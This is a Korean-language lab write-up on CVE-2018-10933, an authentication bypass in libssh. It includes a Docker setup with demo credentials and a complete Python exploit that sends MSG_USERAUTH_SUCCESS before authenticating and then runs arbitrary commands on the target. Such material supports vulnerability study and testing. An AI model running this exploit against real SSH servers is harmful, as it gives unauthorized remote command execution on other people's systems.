
MSG_USERAUTH_SUCCESS 주입을 통한 SSH 인증 우회를 시연하는 CVE-2018-10933 개념 증명 익스플로잇입니다. Docker 설정 및 원격 명령 실행을 위한 Python 스크립트를 포함합니다.
libssh는 클라이언트 및 서버 측에서 SSHv2 프로토콜을 구현하는 멀티플랫폼 C 라이브러리입니다. libssh의 서버 측 상태 머신에서 로직 취약점이 발견되었습니다. 공격자는 인증이 성공하기 전에 MSG_USERAUTH_SUCCESS 메시지를 보낼 수 있습니다. 이를 통해 인증을 우회하고 대상 SSH 서버에 접근할 수 있습니다.
참조:
환경을 시작합니다:
docker-compose up -d
환경이 시작된 후, your-ip:2222 포트에 연결할 수 있습니다 (계정 비밀번호: myuser:mypassword). 이는 정상적인 ssh 로그인입니다:

https://www.seebug.org/vuldb/ssvid-97614에 제공된 POC를 참조하여, 다음 스크립트를 사용해 취약점을 입증할 수 있습니다.
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
다음과 같이 대상 서버에서 임의의 명령을 실행할 수 있습니다:
